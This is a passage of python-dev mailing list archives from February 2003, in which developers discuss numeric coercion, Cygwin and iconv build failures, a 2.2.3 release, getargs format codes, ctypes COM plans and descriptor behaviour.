Message-ID: <BIEJKCLHCIOIHAGOKOLHGEODEOAA.tim.one@comcast.net>

[M.-A. Lemburg]
> I'd even coerce strings to floats if possible ;-)
>
> BTW, I implemented that in mxNumber for the fun of it:
>  >>> from mx.Number import *
>  >>> Float(1.23) + '3.45'
> 4.67999999999999998223e+0
>  >>> Rational(2,3) + '3/4'
> 17/12

FixedPoint does a similar thing, coercing strings to FixedPoints by magic.
The lack of a native literal notation for FixedPoints (and rationals) makes
that more attractive than it should be <wink>.

> Seriously, the above was only meant as hint to not rely on
> nb_negative for PyNumber_Check(), but to use nb_int
> for this. After all, code using PyNumber_Check() will expect that
> at least PyNumber_Int() to work on the object. If you check
> for nb_negative, this will not always work, since then complex objects
> would get accepted.

Reality check:  PyNumber_Check() checks for nb_int or nb_float now, and
complex numbers have both slots, but both raise TypeError unconditionally.
So if you believe that PyNumber_Check()'s caller expects PyNumber_Int() to
work, then PyNumber_Check() is already broken in your view.  My view is that
a complex is a number whether or not it can be coerced to some other type,
but that complex is passing PyNumber_Check() more by accident than by design
now.  nb_negative seems a sharper check to me.



From dave@boost-consulting.com  Thu Feb 20 19:08:25 2003
From: dave@boost-consulting.com (David Abrahams)
Date: Thu, 20 Feb 2003 14:08:25 -0500
Subject: [Python-Dev] Cygwin build failing
In-Reply-To: <200302201824.h1KIOvu07067@odiug.zope.com> (Guido van Rossum's
 message of "Thu, 20 Feb 2003 13:24:56 -0500")
References: <u4r6zdnou.fsf@boost-consulting.com>
 <200302201824.h1KIOvu07067@odiug.zope.com>
Message-ID: <usmuiu5w6.fsf@boost-consulting.com>

Guido van Rossum <guido@python.org> writes:

>> From: David Abrahams <dave@boost-consulting.com>
>> 
>> If nobody knows the cure for this, please consider it a bug report.
>
> You've been reading python-dev long enough to know that no bug is
> reported unless it's been reported to SF.

Sorry; I thought it was probably something with a known cure, and I
didn't think a SF bug report would raise a quick answer.  Of course if
I didn't hear from Jason I'd have put it up on SF.

-- 
Dave Abrahams
Boost Consulting
www.boost-consulting.com



From dave@boost-consulting.com  Thu Feb 20 19:13:06 2003
From: dave@boost-consulting.com (David Abrahams)
Date: Thu, 20 Feb 2003 14:13:06 -0500
Subject: [Python-Dev] Cygwin build failing
In-Reply-To: <20030220182408.GA2348@tishler.net> (Jason Tishler's message of
 "Thu, 20 Feb 2003 13:24:08 -0500")
References: <u4r6zdnou.fsf@boost-consulting.com>
 <20030220182408.GA2348@tishler.net>
Message-ID: <uptpmu5od.fsf@boost-consulting.com>

Jason Tishler <jason@tishler.net> writes:

> If you are using the stock Python 2.2.2 source, then please use a copy
> of my pre-patched source available on any Cygwin mirror, for example:
>
>     http://mirrors.rcn.net/pub/sourceware/cygwin/release/python/python-2.2.2-5-src.tar.bz2
>
> or build from CVS.

Thanks!

> Additionally, I recommend rebasing your system:
>
>     http://cygwin.com/ml/cygwin-announce/2003-02/msg00025.html


Hmm...

  $ rebaseall
  ReBaseImage (/usr/bin/cygcrypto-0.9.7.dll) failed with last error = 6

-- 
Dave Abrahams
Boost Consulting
www.boost-consulting.com



From jason@tishler.net  Thu Feb 20 19:23:00 2003
From: jason@tishler.net (Jason Tishler)
Date: Thu, 20 Feb 2003 14:23:00 -0500
Subject: [Python-Dev] Cygwin build failing
In-Reply-To: <usmuiu5w6.fsf@boost-consulting.com>
References: <u4r6zdnou.fsf@boost-consulting.com>
 <200302201824.h1KIOvu07067@odiug.zope.com> <usmuiu5w6.fsf@boost-consulting.com>
Message-ID: <20030220192300.GG2348@tishler.net>

David,

On Thu, Feb 20, 2003 at 02:08:25PM -0500, David Abrahams wrote:
> Guido van Rossum <guido@python.org> writes:
> >> From: David Abrahams <dave@boost-consulting.com>
> >> If nobody knows the cure for this, please consider it a bug report.
> >
> > You've been reading python-dev long enough to know that no bug is
> > reported unless it's been reported to SF.
> 
> Sorry; I thought it was probably something with a known cure, and I
> didn't think a SF bug report would raise a quick answer.  Of course if
> I didn't hear from Jason I'd have put it up on SF.

Why not create a SF bug report and assign it to me (i.e., jlt63) next
time?

Jason

-- 
PGP/GPG Key: http://www.tishler.net/jason/pubkey.asc or key servers
Fingerprint: 7A73 1405 7F2B E669 C19D  8784 1AFD E4CC ECF4 8EF6


From dave@boost-consulting.com  Thu Feb 20 19:22:15 2003
From: dave@boost-consulting.com (David Abrahams)
Date: Thu, 20 Feb 2003 14:22:15 -0500
Subject: [Python-Dev] Cygwin build failing
In-Reply-To: <20030220192300.GG2348@tishler.net> (Jason Tishler's message of
 "Thu, 20 Feb 2003 14:23:00 -0500")
References: <u4r6zdnou.fsf@boost-consulting.com>
 <200302201824.h1KIOvu07067@odiug.zope.com>
 <usmuiu5w6.fsf@boost-consulting.com> <20030220192300.GG2348@tishler.net>
Message-ID: <uheayu594.fsf@boost-consulting.com>

Jason Tishler <jason@tishler.net> writes:

> Why not create a SF bug report and assign it to me (i.e., jlt63) next
> time?

If I can remember "jlt63 == Jason Tischler", I will gladly do that,
thanks.

-- 
Dave Abrahams
Boost Consulting
www.boost-consulting.com



From jason@tishler.net  Thu Feb 20 19:44:22 2003
From: jason@tishler.net (Jason Tishler)
Date: Thu, 20 Feb 2003 14:44:22 -0500
Subject: [Python-Dev] Cygwin build failing
In-Reply-To: <uptpmu5od.fsf@boost-consulting.com>
References: <u4r6zdnou.fsf@boost-consulting.com>
 <20030220182408.GA2348@tishler.net> <uptpmu5od.fsf@boost-consulting.com>
Message-ID: <20030220194422.GH2348@tishler.net>

Dave,

On Thu, Feb 20, 2003 at 02:13:06PM -0500, David Abrahams wrote:
> Hmm...
> 
>   $ rebaseall
>   ReBaseImage (/usr/bin/cygcrypto-0.9.7.dll) failed with last error = 6

Hmm...  Did you read the README?

    Use the following procedure to rebase your entire system:

        1. shutdown all Cygwin processes
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

        2. start bash (do not use rxvt)
        3. execute rebaseall (in the bash window)

    If you get any errors due to DLLs being in-use or read-only, then
                                            ^^^^^^

    take the appropriate action and rerun rebaseall.

Jason

-- 
PGP/GPG Key: http://www.tishler.net/jason/pubkey.asc or key servers
Fingerprint: 7A73 1405 7F2B E669 C19D  8784 1AFD E4CC ECF4 8EF6


From jason@tishler.net  Thu Feb 20 19:47:25 2003
From: jason@tishler.net (Jason Tishler)
Date: Thu, 20 Feb 2003 14:47:25 -0500
Subject: [Python-Dev] Cygwin build failing
In-Reply-To: <uheayu594.fsf@boost-consulting.com>
References: <u4r6zdnou.fsf@boost-consulting.com>
 <200302201824.h1KIOvu07067@odiug.zope.com>
 <usmuiu5w6.fsf@boost-consulting.com> <20030220192300.GG2348@tishler.net>
 <uheayu594.fsf@boost-consulting.com>
Message-ID: <20030220194725.GI2348@tishler.net>

Dave,

On Thu, Feb 20, 2003 at 02:22:15PM -0500, David Abrahams wrote:
> Jason Tishler <jason@tishler.net> writes:
> > Why not create a SF bug report and assign it to me (i.e., jlt63)
> > next time?
> 
> If I can remember "jlt63 == Jason Tischler", I will gladly do that,

"jlt63 != Jason Tischler"
                   ^

jlt63 is a poor choice that I'm stuck with from now on...

Jason

-- 
PGP/GPG Key: http://www.tishler.net/jason/pubkey.asc or key servers
Fingerprint: 7A73 1405 7F2B E669 C19D  8784 1AFD E4CC ECF4 8EF6


From dave@boost-consulting.com  Thu Feb 20 20:08:22 2003
From: dave@boost-consulting.com (David Abrahams)
Date: Thu, 20 Feb 2003 15:08:22 -0500
Subject: [Python-Dev] Cygwin build failing
In-Reply-To: <20030220194422.GH2348@tishler.net> (Jason Tishler's message of
 "Thu, 20 Feb 2003 14:44:22 -0500")
References: <u4r6zdnou.fsf@boost-consulting.com>
 <20030220182408.GA2348@tishler.net> <uptpmu5od.fsf@boost-consulting.com>
 <20030220194422.GH2348@tishler.net>
Message-ID: <ubs16u349.fsf@boost-consulting.com>

Jason Tishler <jason@tishler.net> writes:

> Hmm...  Did you read the README?
>

No <blush>, too many balls in the air at once causes rampant luser
error.  Sorry about all the wasted bandwidth.

-- 
Dave Abrahams
Boost Consulting
www.boost-consulting.com



From python@rcn.com  Thu Feb 20 20:16:41 2003
From: python@rcn.com (Raymond Hettinger)
Date: Thu, 20 Feb 2003 15:16:41 -0500
Subject: [Python-Dev] various unix platform build/test issues
References: <BIEJKCLHCIOIHAGOKOLHKENLEOAA.tim.one@comcast.net>
Message-ID: <003301c2d91c$fcd93440$050fa044@oemcomputer>

From: "Tim Peters" <tim.one@comcast.net>

> Hmm.  Have you ever met a coercion you didn't like <0.9 wink>?

After Neal's changes to PyArg_ParseTuple, will Tim still
be able to use a floating argument to the wink() function
which has only been documented to accept a boolean state?

Alternatively, will the wink() implementation accept a
FixedPoint object so that ten <0.1 winks> will reliably
sum exactly to a full wink?

On comp.lang.py, the currently leading proposal is to
tighten the semantics to boolean but to support
backward compatibility for partial winks through
an explictly named function:  blink().


Raymond Hettinger

 _ ~
 @ @
 \_/


From neal@metaslash.com  Thu Feb 20 23:11:02 2003
From: neal@metaslash.com (Neal Norwitz)
Date: Thu, 20 Feb 2003 18:11:02 -0500
Subject: [Python-Dev] 2.3a2 problem: iconv module raising RuntimeError
Message-ID: <20030220231102.GC26640@epoch.metaslash.com>

There are already 2 bug reports with the build failing because the
iconv module raises a RuntimeError.  A patch to setup.py is below.
The patch corrects the problem, but should anything else be done?  

The problem is that iconv builds ok, but the iconv_open fails so 
the module initialization failed, IIRC.

Neal
--

Index: setup.py
===================================================================
RCS file: /cvsroot/python/python/dist/src/setup.py,v
retrieving revision 1.146
diff -w -u -r1.146 setup.py
--- setup.py    18 Feb 2003 10:24:34 -0000      1.146
+++ setup.py    20 Feb 2003 23:09:35 -0000
@@ -207,7 +207,7 @@
             self.get_ext_filename(self.get_ext_fullname(ext.name)))
         try:
             imp.load_dynamic(ext.name, ext_filename)
-        except ImportError, why:
+        except (ImportError, RuntimeError), why:
 
             if 1:
                 self.announce('*** WARNING: renaming "%s" since importing it'


From guido@python.org  Fri Feb 21 01:58:21 2003
From: guido@python.org (Guido van Rossum)
Date: Thu, 20 Feb 2003 20:58:21 -0500
Subject: [Python-Dev] 2.3a2 problem: iconv module raising RuntimeError
In-Reply-To: "Your message of Thu, 20 Feb 2003 18:11:02 EST."
 <20030220231102.GC26640@epoch.metaslash.com>
References: <20030220231102.GC26640@epoch.metaslash.com>
Message-ID: <200302210158.h1L1wLu28681@pcp02138704pcs.reston01.va.comcast.net>

> There are already 2 bug reports with the build failing because the
> iconv module raises a RuntimeError.  A patch to setup.py is below.
> The patch corrects the problem, but should anything else be done?  
> 
> The problem is that iconv builds ok, but the iconv_open fails so 
> the module initialization failed, IIRC.

I don't think this is quite the right fix.  Either it should catch all
exceptions, not just RuntimeError; after all an extension that fails
in init<module> could raise any exception at all; or it should do this
business of declaring the module invalid only when ImportError is
raised, and ignore other errors (with a less severe warning).

I think the second options is better -- after all the shared library
built and loaded correctly.  The failure may be fixed by other means.

--Guido van Rossum (home page: http://www.python.org/~guido/)

> Index: setup.py
> ===================================================================
> RCS file: /cvsroot/python/python/dist/src/setup.py,v
> retrieving revision 1.146
> diff -w -u -r1.146 setup.py
> --- setup.py    18 Feb 2003 10:24:34 -0000      1.146
> +++ setup.py    20 Feb 2003 23:09:35 -0000
> @@ -207,7 +207,7 @@
>              self.get_ext_filename(self.get_ext_fullname(ext.name)))
>          try:
>              imp.load_dynamic(ext.name, ext_filename)
> -        except ImportError, why:
> +        except (ImportError, RuntimeError), why:
>  
>              if 1:
>                  self.announce('*** WARNING: renaming "%s" since importing it'


From guido@python.org  Fri Feb 21 03:07:45 2003
From: guido@python.org (Guido van Rossum)
Date: Thu, 20 Feb 2003 22:07:45 -0500
Subject: [Python-Dev] Releasing Python 2.2.3 -- call for patches
Message-ID: <200302210307.h1L37jR29212@pcp02138704pcs.reston01.va.comcast.net>

I think it would be a good idea to release Python 2.2.3 soon -- say
within a few weeks.  I plan this to be a low-key release: all it does
is add various important bugfixes, most of which were backported from
2.3.  This is in tune with the Python-in-a-Tie idea for Python 2.2
(any idea what happened to the PBF plans for that?).

If you have or know of something that you think should go into 2.2.3
but isn't in CVS yet, please let me know.  The best way is to simply
make the changes in CVS to the release22-maint branch.  Do this only
for things that are clearly bugfixes that introduce no backwards
incompatibilities.  When in doubt, use the second-best way.  The
second-best way is to (re)open a SF patch and assign it to me.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From mchermside@ingdirect.com  Fri Feb 21 13:11:39 2003
From: mchermside@ingdirect.com (Chermside, Michael)
Date: Fri, 21 Feb 2003 08:11:39 -0500
Subject: [Python-Dev] Re: various unix platform build/test issues
Message-ID: <7F171EB5E155544CAC4035F0182093F03CF73B@INGDEXCHSANC1.ingdirect.com>

Raymond Hettinger writes:
> After Neal's changes to PyArg_ParseTuple, will Tim still
> be able to use a floating argument to the wink() function
> which has only been documented to accept a boolean state?

Yes, but I want to know what happens when I try this:
<1+0.5j wink>

-- Michael Chermside


From tim.one@comcast.net  Fri Feb 21 15:21:41 2003
From: tim.one@comcast.net (Tim Peters)
Date: Fri, 21 Feb 2003 10:21:41 -0500
Subject: [Python-Dev] Re: various unix platform build/test issues
In-Reply-To: <7F171EB5E155544CAC4035F0182093F03CF73B@INGDEXCHSANC1.ingdirect.com>
Message-ID: <BIEJKCLHCIOIHAGOKOLHIEAOEPAA.tim.one@comcast.net>

[Michael Chermside]
> Yes, but I want to know what happens when I try this:
> <1+0.5j wink>

That's fine!  The wink operator takes any numeric object.  The specific wink
application in question is about 12% stronger than  <1.0 wink>, and jauntily
angled about 27 degrees in the whimsical direction.  I've often thought
polar coordinates would be better for continuous winkery, so that intensity
and degree of whimsy could be read off directly.



From Pablo_Endres@digitel.com.ve  Fri Feb 21 15:47:16 2003
From: Pablo_Endres@digitel.com.ve (Pablo Endres)
Date: Fri, 21 Feb 2003 11:47:16 -0400 (VET)
Subject: [Python-Dev] SCO Open Server 5.0.x thread support
Message-ID: <Pine.LNX.4.44.0302211143030.1628-100000@w-mormen1-cbn.digitel.com.ve>

	Hi, 
	I've been trying for some time to build Python-2.2.x with
	thread support for SCO Open Server 5.0.5, with no luck.

	I'm using the FSU pthreads-3.9 library included in Skunkware.

	Any ideas on what should be done??  
	Is there thread support for this platform.

	Thanks in advance
-- 
Democracy is two wolves and a sheep voting on what to have for dinner.
Liberty is two wolves attempting to have a sheep for dinner and
finding a well-informed, well-armed sheep.
                

Pablo Endres
Centro de Datos

GSM:  +584127347610



From neal@metaslash.com  Fri Feb 21 18:03:51 2003
From: neal@metaslash.com (Neal Norwitz)
Date: Fri, 21 Feb 2003 13:03:51 -0500
Subject: [Python-Dev] SCO Open Server 5.0.x thread support
In-Reply-To: <Pine.LNX.4.44.0302211143030.1628-100000@w-mormen1-cbn.digitel.com.ve>
References: <Pine.LNX.4.44.0302211143030.1628-100000@w-mormen1-cbn.digitel.com.ve>
Message-ID: <20030221180351.GI26640@epoch.metaslash.com>

On Fri, Feb 21, 2003 at 11:47:16AM -0400, Pablo Endres wrote:
> 
> 	I've been trying for some time to build Python-2.2.x with
> 	thread support for SCO Open Server 5.0.5, with no luck.
> 
> 	I'm using the FSU pthreads-3.9 library included in Skunkware.
> 
> 	Any ideas on what should be done??  
> 	Is there thread support for this platform.

You should try asking on the comp.lang.python newsgroup 
or file a bug report on SourceForge.  Your request is not 
appropriate for python-dev.

Neal



From walter@livinglogic.de  Fri Feb 21 18:15:51 2003
From: walter@livinglogic.de (=?ISO-8859-1?Q?Walter_D=F6rwald?=)
Date: Fri, 21 Feb 2003 19:15:51 +0100
Subject: [Python-Dev] 2.3a2 problem: iconv module raising RuntimeError
In-Reply-To: <20030220231102.GC26640@epoch.metaslash.com>
References: <20030220231102.GC26640@epoch.metaslash.com>
Message-ID: <3E566CD7.3090408@livinglogic.de>

Neal Norwitz wrote:

> There are already 2 bug reports with the build failing because the
> iconv module raises a RuntimeError.  A patch to setup.py is below.
> The patch corrects the problem, but should anything else be done?  
> 
> The problem is that iconv builds ok, but the iconv_open fails so 
> the module initialization failed, IIRC.

The init function tries to find out whether the choosen
internal encoding (which should be as close as possible to
Pythons internal Unicode representation, i.e. Py_UNICODE) requires
byte swapping or not. For this it encodes the character '\x01'
from 'ASCII' to the chosen encoding.

Unfortunately 'ASCII' doesn't seem to be available on Solaris.
One solution would be to try 'ISO8859-1' instead of 'ASCII'.
(According to SF patch #670715 this works on Irix, while
'ASCII' doesn't). Another solution would be to test various
encodings until one is found that works.

I'll change the test encoding to 'ISO8859-1' and we'll see
what happens.

To get a working build even if importing iconv_codec fails,
should the import function raise an ImportError instead
of a RunTimeError?

Bye,
    Walter Dörwald



From guido@python.org  Fri Feb 21 18:34:04 2003
From: guido@python.org (Guido van Rossum)
Date: Fri, 21 Feb 2003 13:34:04 -0500
Subject: [Python-Dev] SCO Open Server 5.0.x thread support
In-Reply-To: "Your message of Fri, 21 Feb 2003 13:03:51 EST."
 <20030221180351.GI26640@epoch.metaslash.com>
References: <Pine.LNX.4.44.0302211143030.1628-100000@w-mormen1-cbn.digitel.com.ve>
 <20030221180351.GI26640@epoch.metaslash.com>
Message-ID: <200302211834.h1LIY4p31364@pcp02138704pcs.reston01.va.comcast.net>

Last time when I commented on "harsh" notices sent in reply to
inappropriate requests to python-dev, I couldn't find an example.
Neal provided a mild one:

> You should try asking on the comp.lang.python newsgroup 
> or file a bug report on SourceForge.  Your request is not 
> appropriate for python-dev.

Maybe it would have been more friendly to say "Sorry, there's nobody
here on python-dev who can help you with that; maybe you'll have more
luck on comp.lang.python."

(For these kind of requests, I expect SF won't help much.)

--Guido van Rossum (home page: http://www.python.org/~guido/)


From theller@python.net  Fri Feb 21 18:54:29 2003
From: theller@python.net (Thomas Heller)
Date: 21 Feb 2003 19:54:29 +0100
Subject: [Python-Dev] new format codes for getargs.c
Message-ID: <k7ftmplm.fsf@python.net>

I've implemented a 'k' format code for getargs.c, and uploaded a patch
for it http://www.python.org/sf/595026.

This code accepts integers or longs, does no range checking, and
returns the lower bits in an unsigned long.

Is this also the fix for the hex constant issue which has been
discussed here before?  Are extension writers supposed to replace 'i'
with 'k' in the PyArg_Parse calls in their extensions now?

Then, I'm not sure how to proceed.

Sure, a 'K' format code, which returns a LONG_LONG will also be needed,
and I can implement that.

Are the other changes proposed in the SF item (changes to the 'B',
'H', 'I' codes) needed?

Do I have to add code somewhere to test these format codes or the
Py.._From..Mask functions, probably in testcapi.c?

Thomas



From perky@fallin.lv  Fri Feb 21 19:03:32 2003
From: perky@fallin.lv (Hye-Shik Chang)
Date: Sat, 22 Feb 2003 04:03:32 +0900
Subject: [Python-Dev] 2.3a2 problem: iconv module raising RuntimeError
In-Reply-To: <3E566CD7.3090408@livinglogic.de>
References: <20030220231102.GC26640@epoch.metaslash.com> <3E566CD7.3090408@livinglogic.de>
Message-ID: <20030221190332.GA67025@fallin.lv>

On Fri, Feb 21, 2003 at 07:15:51PM +0100, Walter D?rwald wrote:
> Neal Norwitz wrote:
> 
> >There are already 2 bug reports with the build failing because the
> >iconv module raises a RuntimeError.  A patch to setup.py is below.
> >The patch corrects the problem, but should anything else be done?  
> >
> >The problem is that iconv builds ok, but the iconv_open fails so 
> >the module initialization failed, IIRC.
> 
> The init function tries to find out whether the choosen
> internal encoding (which should be as close as possible to
> Pythons internal Unicode representation, i.e. Py_UNICODE) requires
> byte swapping or not. For this it encodes the character '\x01'
> from 'ASCII' to the chosen encoding.
> 
> Unfortunately 'ASCII' doesn't seem to be available on Solaris.
> One solution would be to try 'ISO8859-1' instead of 'ASCII'.
> (According to SF patch #670715 this works on Irix, while
> 'ASCII' doesn't). Another solution would be to test various
> encodings until one is found that works.
> 
> I'll change the test encoding to 'ISO8859-1' and we'll see
> what happens.

Sounds good. ISO8859-1 is available on every machines that I have.

> 
> To get a working build even if importing iconv_codec fails,
> should the import function raise an ImportError instead
> of a RunTimeError?

I prefer ImportError than RuntimeError. Even users who have broken
iconv library, should be able to run python.(without iconvcodec)

> 
> Bye,
>    Walter D?rwald
> 

Regards,

    Hye-Shik =)



From tim.one@comcast.net  Fri Feb 21 19:12:31 2003
From: tim.one@comcast.net (Tim Peters)
Date: Fri, 21 Feb 2003 14:12:31 -0500
Subject: [Python-Dev] new format codes for getargs.c
In-Reply-To: <k7ftmplm.fsf@python.net>
Message-ID: <BIEJKCLHCIOIHAGOKOLHGECCEPAA.tim.one@comcast.net>

[Thomas Heller]
> I've implemented a 'k' format code for getargs.c, and uploaded a patch
> for it http://www.python.org/sf/595026.

Cool!  Thanks.

> This code accepts integers or longs, does no range checking, and
> returns the lower bits in an unsigned long.
>
> Is this also the fix for the hex constant issue which has been
> discussed here before?  Are extension writers supposed to replace 'i'
> with 'k' in the PyArg_Parse calls in their extensions now?
>
> Then, I'm not sure how to proceed.
>
> Sure, a 'K' format code, which returns a LONG_LONG will also be needed,
> and I can implement that.
>
> Are the other changes proposed in the SF item (changes to the 'B',
> 'H', 'I' codes) needed?

I suggest raising all these issues in comments on the patch report instead.

> Do I have to add code somewhere to test these format codes or the
> Py.._From..Mask functions, probably in testcapi.c?

_testcapimodule.c, and yes.  Most of that is devoted to ensuring that
various range and integer size thingies work across platforms, and,
especially if you're mucking with LONG_LONG, the chance of your code working
across all 64-bit boxes the first time are close to 0 (unless you've done
this often before):  if this kind of thing isn't tested, it's broken.



From theller@python.net  Fri Feb 21 19:27:52 2003
From: theller@python.net (Thomas Heller)
Date: 21 Feb 2003 20:27:52 +0100
Subject: [Python-Dev] call for Windows developers
Message-ID: <bs15mo1z.fsf@python.net>

(This may be off-topic, but only slightly IMO.)

I'm looking for one, two, or three experienced Python developers
on Windows to participate in an exciting open-source project.

As some people on this list might know, the ctypes project
http://starship.python.net/crew/theller/ctypes.html has had a good
start.

In short, ctypes is an improved calldll replacement.  The longer
description is that it lets you in pure Python build, access, and
manipulate simple, but also very complicated C data types (structures,
unions, pointers, function pointers, callback functions) and use them
to call functions in shared libraries/dlls.  It currently runs on
Windows, Linux, and MacOS X, the latter two with the help of the
libffi library.

Not only allows it to call, for example, win32 functions not (yet)
exposed by Mark Hammond's win32all stuff, I think it is powerful
enough to create bindings in pure Python to whole systems or
frameworks.  (That's the reason I think this post is not totally
off-topic for this forum).

Using ctypes is sometimes like programming C in a Python syntax, this
may sound strange, but it's where I as a Python and C hacker feel
quite at home ;-), just that I don't need the compiler any more...

I would now like to create a COM framework.  ctypes makes it easy to
access COM vtables, and also easy to build them at runtime.  Different
from Mark's pythoncom, it would concentrate more on custom interfaces
than on IDispatch - just what is needed if you have to interface to
clients and servers implemented in ATL.

My ultimate goal would be to be able to write ActiveX controls in pure
Python, and write containers for AX controls in pure Python.

So far, I have written proof-of-concept code with fairly good
typelibrary/typeinfo support for both the client side and the server
side.  I have local and inproc servers running, can send and receive
events via the connection point mechanism, can automatically create
type libraries for COM interfaces written in Python, can decompile
type libraries and generate Python source code wrappers for them, so
that it's easy to use these interfaces in Python, and so on.  All for
simple cases only, though.

As things usually go, I'm not happy with this code, although I've
learned a lot, and started the first rewrite.  The rewritten code is
in the ctypes CVS repository, in a sandbox subdirectory.

Supporting open-source projects is a large goal, and I'm quite sure I
cannot do it for the ctypes COM stuff alone.  So currently I have to
decide whether this stays at the level of 'ctypes sample code', or if
it will evolve into a useful addition to the Python toolkit on
Windows, but, I need some help.

Thanks for the attention,

Thomas



From dave@boost-consulting.com  Sat Feb 22 22:12:13 2003
From: dave@boost-consulting.com (David Abrahams)
Date: Sat, 22 Feb 2003 17:12:13 -0500
Subject: [Python-Dev] assymetry in descriptor behavior
Message-ID: <ur8a0c6de.fsf@boost-consulting.com>

In trying to support user requests for C++-like behavior of wrapped
static data members, I noticed the following little assymetry:

  >>> #define a property class
  ... class Prop(object):
  ...     def __get__(self, obj, type=None):
  ...         print '__get__', (self, obj, type)
  ...         return 'value'
  ...
  ...     def __set__(self, obj, type=None):
  ...         print '__set__', (self, obj, type)
  ...
  ...     def __delete__(self, obj, type=None):
  ...         print '__delete__', (self, obj, type)
  ...
  >>> # use it in a class Y
  ... class Y(object):
  ...     x = Prop()
  ...
  >>> a = Y()

  >>> a.x # all accesses to a.x are intercepted
  __get__ (<__main__.Prop object at 0x00877BC8>, <__main__.Y object at 0x00878108>, <class '__main__.Y'>)
  'value'
  >>> a.x = 42 
  __set__ (<__main__.Prop object at 0x00877BC8>, <__main__.Y object at 0x00878108>, 42)

  >>> Y.x # Prop intercepts reads of the class attribute
  __get__ (<__main__.Prop object at 0x00877BC8>, None, <class '__main__.Y'>)
  'value'
  >>> Y.x = 1 # But not assignments
  >>> Y.x
  1

  >>> class mc(object.__class__): # to intercept Y.x assignment
  ...     x = Prop()              # I have to define this
  ...
  >>> class Y(object):
  ...     __metaclass__ = mc
  ...
  >>> Y.x # now all accesses to Y.x are intercepted
  __get__ (<__main__.Prop object at 0x00876AB8>, <class '__main__.Y'>, <class '__main__.mc'>)
  'value'
  >>> Y.x = 1
  __set__ (<__main__.Prop object at 0x00876AB8>, <class '__main__.Y'>, 1)
  >>> a = Y() # But not accesses to a.x
  >>> a.x
  Traceback (most recent call last):
    File "<stdin>", line 1, in ?
  AttributeError: 'Y' object has no attribute 'x'
  >>>

As you can see, the only way to intercept assignment to Y.x is to
stick a property Y's class, i.e. the metaclass (or to modify
__setattr__ in the metaclass, but it amounts to the same thing).

In C++, a mutable static data member can be modified via the class

   Y::x = 1;

or an instance of the class

   a.x = 1;

I notice that Python supports this sort of dual access for reading
attributes and calling static functions, but getting that behavior for
mutable attributes seems unreasonably difficult: I need a property in
the metaclass *and* in the class.

1. To throw out a straw-man suggestion, what about adding an
   additional protocol __set2__ which, if found, will be called
   instead of __set__ both for reading _and_ writing attributes on the
   class?

2. What are the optional type=None arguments for?  It seems as though
   only the middle argument (obj) is ever None.  I just copied this
   protocol out of descrintro.html

3. Is there documentation for __delete__ anywhere?

-- 
Dave Abrahams
Boost Consulting
www.boost-consulting.com



From Anthony Baxter <anthony@interlink.com.au>  Sun Feb 23 06:57:55 2003
From: Anthony Baxter <anthony@interlink.com.au> (Anthony Baxter)
Date: Sun, 23 Feb 2003 17:57:55 +1100
Subject: [Python-Dev] assymetry in descriptor behavior
In-Reply-To: <ur8a0c6de.fsf@boost-consulting.com>
Message-ID: <200302230657.h1N6vuj27913@localhost.localdomain>

>>> David Abrahams wrote

> 3. Is there documentation for __delete__ anywhere?

It seems like it's only in the whatsnew22.tex docs. 

__get__ and __set__ are mentioned in the Doc/ext/newtypes.tex file, 
but that section is commented out with

  % XXX Descriptors need to be explained in more detail somewhere, but
  % not here.

Unfortunately they're not anywhere else, either. Any suggestions for
where they should be documented?



-- 
Anthony Baxter     <anthony@interlink.com.au>   
It's never too late to have a happy childhood.



From andymac@bullseye.apana.org.au  Sun Feb 23 05:02:29 2003
From: andymac@bullseye.apana.org.au (Andrew MacIntyre)
Date: Sun, 23 Feb 2003 15:02:29 +1000 (est)
Subject: [Python-Dev] tuning up...
Message-ID: <Pine.OS2.4.44.0302231417070.86-100000@tenring.andymac.org>

I've just put together a binary distribution of 2.3a2 for OS/2 EMX, and
for the hell of it compared the pystone ratings of 2.3a2 against 2.2.2
on 2 different systems.

Results:
               2.2.2         2.3a2        change
system 1       18200         21700         +19.2%
system 2a       5600          6975         +24.5%
system 2b       6600          8540         +29.4%

(Pystone on 2.2.2 adjusted to 50000 loops, average of 3 runs)

Hardware:
system 1:  Athlon 1.4GHz, 512MB (PC133), OS/2 v4.0 FP12, gcc 2.8.1 -O2
system 2a: Via C3 800MHz, 256MB (PC133), OS/2 v4.0 FP15, gcc 2.8.1 -O2
system 2b:       "      ,   "          , FreeBSD 4.7, gcc 2.95.4 -g -O3

--
Andrew I MacIntyre                     "These thoughts are mine alone..."
E-mail: andymac@bullseye.apana.org.au  | Snail: PO Box 370
        andymac@pcug.org.au            |        Belconnen  ACT  2616
Web:    http://www.andymac.org/        |        Australia



From skip@manatee.mojam.com  Sun Feb 23 13:00:23 2003
From: skip@manatee.mojam.com (Skip Montanaro)
Date: Sun, 23 Feb 2003 07:00:23 -0600
Subject: [Python-Dev] Weekly Python Bug/Patch Summary
Message-ID: <200302231300.h1ND0NsR016630@manatee.mojam.com>

Bug/Patch Summary
-----------------

358 open / 3367 total bugs (+22)
122 open / 1985 total patches (-3)

New Bugs
--------

unreliable file.read() error handling (2002-02-23)
	http://python.org/sf/521782
after using pdb readline does not work correctly (2003-01-28)
	http://python.org/sf/676342
classic division in demos/ directory (2003-02-16)
	http://python.org/sf/687648
Future division breaks mpz (2003-02-16)
	http://python.org/sf/687654
_iscommand() in webbrowser module (2003-02-16)
	http://python.org/sf/687747
Bundlebuilder needs to pre-convert resource files (2003-02-17)
	http://python.org/sf/688007
macresource should handle readonly applesingle files (2003-02-17)
	http://python.org/sf/688011
IDLE does not work on Mac OS X (2003-02-17)
	http://python.org/sf/688266
Applet support is broken (2003-02-18)
	http://python.org/sf/688907
64-bit int and long hash keys incompatible (2003-02-19)
	http://python.org/sf/689659
Docs page has no PEPs link (2003-02-19)
	http://python.org/sf/689826
Imports can deadlock (2003-02-20)
	http://python.org/sf/689895
2.3a2 build fails under IRIX 6.5 (2003-02-20)
	http://python.org/sf/690012
test_posix fails when run in non-interactive mode (2003-02-20)
	http://python.org/sf/690081
sys.last_type is missing (2003-02-20)
	http://python.org/sf/690109
robotparser only applies first applicable rule (2003-02-20)
	http://python.org/sf/690214
lines run together on input (2003-02-20)
	http://python.org/sf/690285
2.3a2 Sol8 make fails at _iconv_codec. (2003-02-20)
	http://python.org/sf/690309
2.3a2 build fails on Solaris: posixmodule (2003-02-20)
	http://python.org/sf/690317
test_tarfile fails on MacOS9 (2003-02-20)
	http://python.org/sf/690341
register command not listed in command line help (2003-02-20)
	http://python.org/sf/690389
can't build bsddb for 2.3a2 (2003-02-20)
